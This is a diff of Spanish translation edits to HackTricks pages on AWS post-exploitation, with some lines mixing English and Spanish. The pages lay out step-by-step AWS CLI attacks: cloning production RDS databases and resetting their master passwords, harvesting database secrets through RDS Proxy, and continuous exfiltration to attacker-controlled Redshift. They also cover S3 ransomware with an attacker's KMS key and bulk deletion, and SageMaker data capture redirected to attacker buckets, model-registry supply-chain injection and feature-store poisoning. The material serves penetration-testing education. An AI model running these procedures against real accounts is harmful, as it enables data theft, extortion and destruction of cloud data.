||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Abusar de RDS Blue/Green para clonar una DB de producción en un entorno green continuamente replicado y de solo lectura. Luego restablecer las credenciales master del green para acceder a los datos sin tocar la instancia blue (prod). Esto es más sigiloso que snapshot sharing y con frecuencia evade la monitorización centrada solo en la fuente.
|
||||
Abusa de RDS Blue/Green para clonar una DB de producción en un entorno green continuamente replicado y de solo lectura. Luego restablece las credenciales master del green para acceder a los datos sin tocar la instancia blue (prod). Esto es más sigiloso que compartir snapshots y a menudo evade la monitorización centrada únicamente en la fuente.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -393,19 +393,19 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impacto: Acceso completo a los datos en modo solo lectura a un clon casi en tiempo real de producción sin modificar la instancia de producción. Útil para extracción sigilosa de datos y análisis fuera de línea.
|
||||
Impacto: Acceso total de solo lectura a una copia casi en tiempo real del entorno de producción sin modificar la instancia de producción. Útil para extracción sigilosa de datos y análisis offline.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
|
||||
Abusar de Aurora para habilitar el endpoint HTTP del RDS Data API en un cluster objetivo, restablecer la contraseña master a un valor que controles y ejecutar SQL sobre HTTPS (no se requiere ruta de red VPC). Funciona en motores Aurora que soportan Data API/EnableHttpEndpoint (p. ej., Aurora MySQL 8.0 provisioned; algunas versiones de Aurora PostgreSQL/MySQL).
|
||||
Abusa de Aurora para habilitar el endpoint HTTP del RDS Data API en un clúster objetivo, restablecer la contraseña maestra a un valor que controles y ejecutar SQL sobre HTTPS (no se requiere ruta de red VPC). Funciona en motores Aurora que soportan el Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; algunas versiones de Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permisos (mínimos):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Impacto: Eludir la segmentación de red y exfiltrar datos vía las AWS APIs sin conectividad VPC directa a la DB.
|
||||
Impacto: Bypass network segmentation and exfiltrate data via AWS APIs without direct VPC connectivity to the DB.
|
||||
|
||||
<details>
|
||||
<summary>CLI de extremo a extremo (ejemplo Aurora MySQL)</summary>
|
||||
@@ -461,21 +461,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Notas:
|
||||
- Si rds-data rechaza SQL con múltiples sentencias, emitir llamadas execute-statement separadas.
|
||||
- Para motores donde modify-db-cluster --enable-http-endpoint no tiene efecto, usar rds enable-http-endpoint --resource-arn.
|
||||
- Asegúrate de que el engine/version realmente soporte la Data API; de lo contrario HttpEndpointEnabled permanecerá False.
|
||||
- Si SQL con múltiples sentencias es rechazado por rds-data, ejecuta llamadas separadas a execute-statement.
|
||||
- Para motores donde modify-db-cluster --enable-http-endpoint no tiene efecto, usa rds enable-http-endpoint --resource-arn.
|
||||
- Asegúrate de que el motor/versión realmente soporte el Data API; de lo contrario HttpEndpointEnabled permanecerá en False.
|
||||
|
||||
|
||||
### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Abusar de la configuración de RDS Proxy para descubrir el secreto de Secrets Manager usado para la autenticación del backend, y luego leer el secreto para obtener las credenciales de la base de datos. Muchos entornos conceden permisos amplios `secretsmanager:GetSecretValue`, lo que convierte esto en un pivot de baja fricción hacia las credenciales DB. Si el secreto usa una CMK, permisos KMS mal configurados también pueden permitir `kms:Decrypt`.
|
||||
Abusa de la configuración de RDS Proxy para descubrir el secreto de Secrets Manager usado para la autenticación del backend, luego lee el secreto para obtener las credenciales de la base de datos. Muchos entornos conceden permisos amplios `secretsmanager:GetSecretValue`, lo que hace de esto un pivot de baja fricción hacia las credenciales de DB. Si el secreto usa una CMK, permisos KMS mal acotados también pueden permitir `kms:Decrypt`.
|
||||
|
||||
Permisos necesarios (mínimo):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` en el SecretArn referenciado
|
||||
- Opcional cuando el secreto usa una CMK: `kms:Decrypt` en esa clave
|
||||
- `secretsmanager:GetSecretValue` on the referenced SecretArn
|
||||
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
|
||||
|
||||
Impacto: Divulgación inmediata del nombre de usuario/contraseña de la DB configurados en el proxy; permite acceso directo a la DB o movimiento lateral adicional.
|
||||
Impacto: Divulgación inmediata del nombre de usuario/contraseña de DB configurados en el proxy; permite acceso directo a la DB o movimientos laterales adicionales.
|
||||
|
||||
Pasos
|
||||
```bash
|
||||
@@ -518,13 +518,13 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet
|
||||
```
|
||||
### Exfiltración continua sigilosa vía Aurora zero‑ETL a Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Abusar de la integración Aurora PostgreSQL zero‑ETL para replicar de manera continua datos de producción en un namespace de Redshift Serverless que controles. Con una política de recursos de Redshift permisiva que autorice CreateInboundIntegration/AuthorizeInboundIntegration para un ARN de clúster Aurora específico, un atacante puede establecer una copia de datos casi en tiempo real sin DB creds, snapshots ni exposición de red.
|
||||
Abusar de la integración zero‑ETL de Aurora PostgreSQL para replicar continuamente datos de producción en un namespace de Redshift Serverless que controlas. Con una política de recursos de Redshift permisiva que autorice CreateInboundIntegration/AuthorizeInboundIntegration para un ARN de clúster Aurora específico, un atacante puede establecer una copia de datos casi en tiempo real sin credenciales de DB, snapshots ni exposición de red.
|
||||
|
||||
Permisos necesarios (mínimos):
|
||||
Permisos necesarios (mínimo):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (para consultar)
|
||||
- `rds-data:ExecuteStatement` (opcional; para pre-cargar datos si fuera necesario)
|
||||
- `rds-data:ExecuteStatement` (opcional; para sembrar datos si es necesario)
|
||||
|
||||
Probado en: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
@@ -576,7 +576,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Crear un clúster de Aurora PostgreSQL (habilitar Data API y replicación lógica)</summary>
|
||||
<summary>3) Crear clúster Aurora PostgreSQL (habilitar Data API y replicación lógica)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -634,10 +634,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
|
||||
Evidencia observada en la prueba:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
|
||||
- SVV_INTEGRATION mostró integration_id 377a462b-c42c-4f08-937b-77fe75d98211 y el estado PendingDbConnectState antes de la creación de la DB.
|
||||
- Después de CREATE DATABASE FROM INTEGRATION, listar las tablas reveló el esquema ztl y la tabla customers; al seleccionar desde ztl.customers se devolvieron 2 filas (Alice, Bob).
|
||||
|
||||
Impacto: Exfiltration continua casi en tiempo real de tablas seleccionadas de Aurora PostgreSQL hacia Redshift Serverless controlado por el atacante, sin usar credenciales de base de datos, copias de seguridad, ni acceso de red al clúster de origen.
|
||||
Impacto: Exfiltration continua casi en tiempo real de tablas seleccionadas de Aurora PostgreSQL hacia Redshift Serverless controlada por el atacante, sin usar credenciales de base de datos, backups, ni acceso de red al cluster origen.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## S3
|
||||
|
||||
Para más información consulta:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
@@ -16,26 +16,26 @@ A veces podrás encontrar información sensible legible en los buckets. Por ejem
|
||||
|
||||
### Pivoting
|
||||
|
||||
Diferentes plataformas podrían usar S3 para almacenar activos sensibles.\
|
||||
Por ejemplo, **airflow** podría almacenar **DAGs** **code** allí, o **web pages** podrían servirse directamente desde S3. Un atacante con write permissions podría **modify the code** del bucket para **pivot** a otras plataformas, o **takeover accounts** modificando archivos JS.
|
||||
Diferentes plataformas podrían estar usando S3 para almacenar activos sensibles.
|
||||
Por ejemplo, **airflow** podría estar almacenando **DAGs** **code** allí, o **páginas web** podrían servirse directamente desde S3. Un attacker con permisos de escritura podría **modify the code** desde el bucket para **pivot** hacia otras plataformas, o **takeover accounts** modificando archivos JS.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
En este escenario, el **attacker creates a KMS (Key Management Service) key in their own AWS account** o en otra cuenta comprometida. Luego hace que esta **key sea accesible para cualquiera en el mundo**, permitiendo a cualquier AWS user, role, o account cifrar objetos usando esta key. Sin embargo, los objetos no podrán ser descifrados.
|
||||
En este escenario, el **attacker crea una KMS (Key Management Service) key en su propia cuenta AWS** o en otra cuenta comprometida. Luego hace que esta **key sea accesible para cualquiera en el mundo**, permitiendo a cualquier AWS user, role, o account cifrar objetos usando esta key. Sin embargo, los objetos no pueden ser descifrados.
|
||||
|
||||
El atacante identifica un objetivo, un **S3 bucket**, y obtiene acceso de escritura a él usando varios métodos. Esto podría deberse a una mala configuración del bucket que lo expone públicamente o a que el atacante obtiene acceso al entorno AWS mismo. Normalmente el atacante apunta a buckets que contienen información sensible como información de identificación personal (PII), protected health information (PHI), logs, backups, y más.
|
||||
El attacker identifica un objetivo **S3 bucket and gains write-level access** mediante varios métodos. Esto puede deberse a una mala configuración del bucket que lo expone públicamente o a que el attacker obtiene acceso al propio entorno de AWS. Normalmente el attacker apunta a buckets que contienen información sensible como personally identifiable information (PII), protected health information (PHI), logs, backups, y más.
|
||||
|
||||
Para determinar si el bucket puede ser objetivo de ransomware, el atacante revisa su configuración. Esto incluye verificar si **S3 Object Versioning** está habilitado y si **multi-factor authentication delete (MFA delete)** está activado. Si Object Versioning no está habilitado, el atacante puede proceder. Si Object Versioning está habilitado pero MFA delete está desactivado, el atacante puede **disable Object Versioning**. Si tanto Object Versioning como MFA delete están habilitados, se vuelve más difícil para el atacante realizar ransomware en ese bucket específico.
|
||||
Para determinar si el bucket puede ser objetivo de ransomware, el attacker revisa su configuración. Esto incluye verificar si **S3 Object Versioning** está habilitado y si **multi-factor authentication delete (MFA delete)** está habilitado. Si Object Versioning no está habilitado, el attacker puede proceder. Si Object Versioning está habilitado pero MFA delete está deshabilitado, el attacker puede **disable Object Versioning**. Si tanto Object Versioning como MFA delete están habilitados, se vuelve más difícil para el attacker to ransomware that specific bucket.
|
||||
|
||||
Usando la AWS API, el atacante **replaces each object in the bucket with an encrypted copy using their KMS key**. Esto cifra efectivamente los datos en el bucket, haciéndolos inaccesibles sin la key.
|
||||
Usando la AWS API, el attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. Esto cifra efectivamente los datos en el bucket, haciéndolos inaccesibles sin la clave.
|
||||
|
||||
Para aumentar la presión, el atacante programa la eliminación de la KMS key usada en el ataque. Esto le da al objetivo una ventana de 7 días para recuperar sus datos antes de que la key sea eliminada y los datos se pierdan de forma permanente.
|
||||
Para aumentar la presión, el attacker programa la eliminación de la clave KMS usada en el ataque. Esto le da al objetivo una ventana de 7 días para recuperar sus datos antes de que la clave sea eliminada y los datos se pierdan de forma permanente.
|
||||
|
||||
Finalmente, el atacante podría subir un archivo final, usualmente llamado "ransom-note.txt", que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin cifrar, probablemente para llamar la atención del objetivo y hacerle saber sobre el ataque de ransomware.
|
||||
Finalmente, el attacker podría subir un archivo final, usualmente llamado "ransom-note.txt", que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin cifrar, probablemente para llamar la atención del objetivo y hacerle saber del ataque de ransomware.
|
||||
|
||||
### `s3:RestoreObject`
|
||||
|
||||
An attacker with the s3:RestoreObject permission puede reactivar objetos archivados en Glacier o Deep Archive, haciéndolos temporalmente accesibles. Esto permite la recuperación y exfiltración de datos históricamente archivados (backups, snapshots, logs, certifications, old secrets) que normalmente estarían fuera de alcance. Si el atacante combina este permiso con permisos de lectura (por ejemplo, s3:GetObject), puede obtener copias completas de datos sensibles.
|
||||
Un attacker con el permiso s3:RestoreObject puede reactivar objetos archivados en Glacier o Deep Archive, haciéndolos temporalmente accesibles. Esto permite la recuperación y exfiltración de datos históricamente archivados (backups, snapshots, logs, certifications, old secrets) que normalmente estarían fuera de alcance. Si el attacker combina este permiso con permisos de lectura (p. ej., s3:GetObject), puede obtener copias completas de datos sensibles.
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
@@ -47,7 +47,7 @@ aws s3api restore-object \
|
||||
```
|
||||
### `s3:Delete*`
|
||||
|
||||
Un atacante con el permiso s3:Delete* puede eliminar objetos, versiones y buckets enteros, interrumpir copias de seguridad y causar pérdida de datos inmediata e irreversible, destrucción de evidencias y comprometer artefactos de copia de seguridad o recuperación.
|
||||
Un atacante con el permiso s3:Delete* puede eliminar objetos, versiones y buckets completos, interrumpir copias de seguridad y provocar pérdida de datos inmediata e irreversible, la destrucción de pruebas y el compromiso de artefactos de copia de seguridad o recuperación.
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
@@ -64,6 +64,6 @@ aws s3api delete-object \
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**Para más información** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
**Para más información** [**consulta la investigación original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Desvío de datos de endpoint de SageMaker vía UpdateEndpoint DataCaptureConfig
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Abusa de la gestión de endpoints de SageMaker para habilitar la captura completa de request/response en un bucket S3 controlado por el atacante sin tocar el model o container. Usa una zero/low‑downtime rolling update y solo requiere permisos de gestión del endpoint.
|
||||
Abusar de la gestión de endpoints de SageMaker para habilitar la captura completa de request/response en un bucket S3 controlado por el atacante sin tocar el model ni el container. Usa una rolling update de cero/bajo tiempo de inactividad y solo requiere permisos de gestión del endpoint.
|
||||
|
||||
### Requisitos
|
||||
### Requirements
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (o usar un bucket existente en la misma cuenta)
|
||||
- Opcional (si se usa SSE‑KMS): `kms:Encrypt` en la CMK elegida
|
||||
- Objetivo: Un endpoint InService en tiempo real existente en la misma cuenta/región
|
||||
- S3: `s3:CreateBucket` (or use an existing bucket in the same account)
|
||||
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
|
||||
- Target: An existing InService real‑time endpoint in the same account/region
|
||||
|
||||
### Pasos
|
||||
1) Identificar un endpoint InService y recopilar las variantes de producción actuales
|
||||
### Steps
|
||||
1) Identify an InService endpoint and gather current production variants
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -22,13 +22,13 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Preparar destino S3 del atacante para captures
|
||||
2) Preparar el destino S3 del attacker para capturas
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Crea un nuevo EndpointConfig que mantenga las mismas variantes pero habilite DataCapture hacia el attacker bucket
|
||||
3) Crear un nuevo EndpointConfig que mantenga las mismas variantes pero habilite DataCapture en el bucket del atacante
|
||||
|
||||
Nota: Usa tipos de contenido explícitos que satisfagan la validación del CLI.
|
||||
```bash
|
||||
@@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Aplicar la nueva configuración con un rolling update (tiempo de inactividad mínimo/nulo)
|
||||
4) Aplicar la nueva configuración mediante un rolling update (downtime mínimo/nulo)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) Generar al menos una llamada de inferencia (opcional si existe tráfico en tiempo real)
|
||||
5) Genera al menos una llamada de inferencia (opcional si existe tráfico en vivo)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Validar capturas en attacker S3
|
||||
6) Validar capturas en el S3 del atacante
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Impacto
|
||||
- Exfiltración completa de los payloads de solicitudes y respuestas de inferencia en tiempo real (y metadatos) desde el endpoint objetivo a un bucket S3 controlado por el atacante.
|
||||
- Sin cambios en la imagen del model/container y solo cambios a nivel de endpoint, lo que permite una vía sigilosa de robo de datos con mínima interrupción operativa.
|
||||
- Exfiltración completa de los payloads de solicitudes y respuestas de inferencia en tiempo real (y metadatos) desde el endpoint objetivo a un S3 bucket controlado por el atacante.
|
||||
- Sin cambios en la imagen del modelo/container y solo cambios a nivel de endpoint, lo que permite una vía sigilosa de robo de datos con mínima interrupción operativa.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Abusar de la gestión del endpoint para redirigir las salidas de inferencia asíncrona a un bucket S3 controlado por el atacante clonando el EndpointConfig actual y configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Esto exfiltra las predicciones del modelo (y cualquier entrada transformada incluida por el container) sin modificar el model/container.
|
||||
Abusar de la gestión de endpoints para redirigir las salidas de inferencia asíncrona a un S3 bucket controlado por el atacante clonando el EndpointConfig actual y configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Esto exfiltra las predicciones del modelo (y cualquier entrada transformada incluida por el container) sin modificar el modelo/container.
|
||||
|
||||
### Requisitos
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Capacidad para escribir en el bucket S3 del atacante (vía el model execution role o una política de bucket permisiva)
|
||||
- Objetivo: Un endpoint InService donde las invocaciones asíncronas se están (o se usarán) empleando
|
||||
- S3: Capacidad para escribir en el S3 bucket controlado por el atacante (vía el rol de ejecución del modelo o una bucket policy permisiva)
|
||||
- Target: Un endpoint InService donde las invocaciones asíncronas se están (o se van a) utilizar
|
||||
|
||||
### Pasos
|
||||
1) Recopila los ProductionVariants actuales del endpoint objetivo
|
||||
1) Recolectar los ProductionVariants actuales del endpoint objetivo
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Crea un bucket atacante (asegúrate de que el rol de ejecución del modelo pueda PutObject en él)
|
||||
2) Crea un bucket del atacante (asegúrate de que el rol de ejecución del modelo pueda PutObject en él)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) Clonar EndpointConfig y hijack AsyncInference outputs al attacker bucket
|
||||
3) Clonar EndpointConfig y redirigir las salidas de AsyncInference al attacker bucket
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Disparar una invocación asíncrona y verificar que los objetos terminen en el S3 del atacante
|
||||
4) Disparar una invocación asíncrona y verificar que los objetos lleguen al S3 del atacante
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -117,21 +117,21 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Impacto
|
||||
- Redirige los resultados de inferencia asíncrona (y los cuerpos de error) a S3 controlado por el atacante, permitiendo la exfiltración encubierta de predicciones y de posibles entradas pre/post-procesadas sensibles producidas por el contenedor, sin cambiar el código o la imagen del modelo y con tiempo de inactividad mínimo o nulo.
|
||||
- Redirige resultados de inferencia asíncrona (y cuerpos de error) a S3 controlado por el atacante, permitiendo la exfiltración encubierta de predicciones y, potencialmente, de entradas pre/post-procesadas sensibles producidas por el contenedor, sin cambiar el código o la imagen del modelo y con tiempo de inactividad mínimo o nulo.
|
||||
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
## Inyección en la cadena de suministro del SageMaker Model Registry vía CreateModelPackage(Approved)
|
||||
|
||||
Si un atacante puede ejecutar CreateModelPackage en un Model Package Group objetivo de SageMaker, puede registrar una nueva versión de modelo que apunte a una imagen de contenedor controlada por el atacante y marcarla inmediatamente como Approved. Muchos pipelines de CI/CD despliegan automáticamente versiones Approved de modelos a endpoints o training jobs, lo que puede resultar en ejecución de código del atacante bajo los roles de ejecución del servicio. La exposición entre cuentas puede amplificarse mediante una política de recurso ModelPackageGroup permisiva.
|
||||
Si un atacante puede ejecutar CreateModelPackage en un SageMaker Model Package Group objetivo, puede registrar una nueva versión del modelo que apunte a una imagen de contenedor controlada por el atacante y marcarla inmediatamente como Approved. Muchos pipelines de CI/CD despliegan automáticamente versiones de modelo Approved a endpoints o training jobs, lo que resulta en ejecución de código del atacante bajo los roles de ejecución del servicio. La exposición entre cuentas puede ampliarse por una política de recurso permisiva en ModelPackageGroup.
|
||||
|
||||
### Requisitos
|
||||
- IAM (mínimo para comprometer un grupo existente): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- IAM (mínimo para comprometer un grupo existente): `sagemaker:CreateModelPackage` en el ModelPackageGroup objetivo
|
||||
- Opcional (para crear un grupo si no existe): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Acceso de lectura al ModelDataUrl referenciado (o alojar artefactos controlados por el atacante)
|
||||
- Objetivo: Un Model Package Group que la automatización downstream vigila en busca de versiones Approved
|
||||
- Objetivo: Un Model Package Group que la automatización downstream vigila para versiones Approved
|
||||
|
||||
### Pasos
|
||||
1) Configurar la región y crear/buscar un Model Package Group objetivo
|
||||
1) Establecer la región y crear/encontrar un Model Package Group
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Registrar una versión de paquete de modelo Approved maliciosa (aquí benigna) que haga referencia a una imagen pública de AWS DLC
|
||||
3) Registrar una Approved model package version maliciosa (aquí benigna) que haga referencia a una imagen pública de AWS DLC
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -162,17 +162,17 @@ cat > /tmp/inf.json << JSON
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Verificar que la nueva versión Approved exista
|
||||
4) Verifica que exista la nueva versión Approved
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Impacto
|
||||
- Envenenar el Model Registry con una versión Approved que referencia código controlado por el atacante. Pipelines que auto-deployan modelos Approved pueden pull y ejecutar la imagen del atacante, obteniendo ejecución de código bajo los endpoint/training roles.
|
||||
- Con una política de recurso ModelPackageGroup permisiva (PutModelPackageGroupPolicy), este abuso puede desencadenarse cross-account.
|
||||
- Envenenar el Model Registry con una versión Approved que haga referencia a código controlado por el atacante. Las Pipelines que auto-despliegan modelos Approved pueden descargar y ejecutar la imagen del atacante, permitiendo ejecución de código con los roles endpoint/training.
|
||||
- Con una política de recurso ModelPackageGroup permisiva (PutModelPackageGroupPolicy), este abuso puede desencadenarse entre cuentas.
|
||||
|
||||
## Envenenamiento del Feature store
|
||||
## Envenenamiento del Feature Store
|
||||
|
||||
Abusar de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de feature en vivo consumidos por la inferencia online. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos ni a endpoints.
|
||||
Abusar de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por la inferencia en línea. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos ni endpoints.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
|
||||
@@ -2,16 +2,16 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusa de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por la inferencia en tiempo real. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos o endpoints.
|
||||
Abusa de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir los valores de features en vivo consumidos por online inference. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos ni a endpoints.
|
||||
|
||||
## Requisitos
|
||||
- Permisos: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Objetivo: Feature Group con OnlineStore habilitado (típicamente respaldando inferencia en tiempo real)
|
||||
- Complejidad: **BAJA** - Comandos simples de AWS CLI, no se requiere manipulación de modelos
|
||||
## Requirements
|
||||
- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Target: Feature Group con OnlineStore habilitado (típicamente respaldando real-time inference)
|
||||
- Complexity: **LOW** - Comandos simples de AWS CLI, no se requiere manipulación de modelos
|
||||
|
||||
## Pasos
|
||||
## Steps
|
||||
|
||||
### Reconocimiento
|
||||
### Reconnaissance
|
||||
|
||||
1) Listar Feature Groups con OnlineStore habilitado
|
||||
```bash
|
||||
@@ -28,9 +28,9 @@ aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Tenga en cuenta `RecordIdentifierFeatureName`, `EventTimeFeatureName`, y todas las definiciones de características. Estas son necesarias para elaborar registros válidos.
|
||||
Tenga en cuenta `RecordIdentifierFeatureName`, `EventTimeFeatureName` y todas las definiciones de features. Son necesarios para crear registros válidos.
|
||||
|
||||
### Escenario de ataque 1: Data Poisoning (Overwrite Existing Records)
|
||||
### Escenario de ataque 1: Data Poisoning (Sobrescribir registros existentes)
|
||||
|
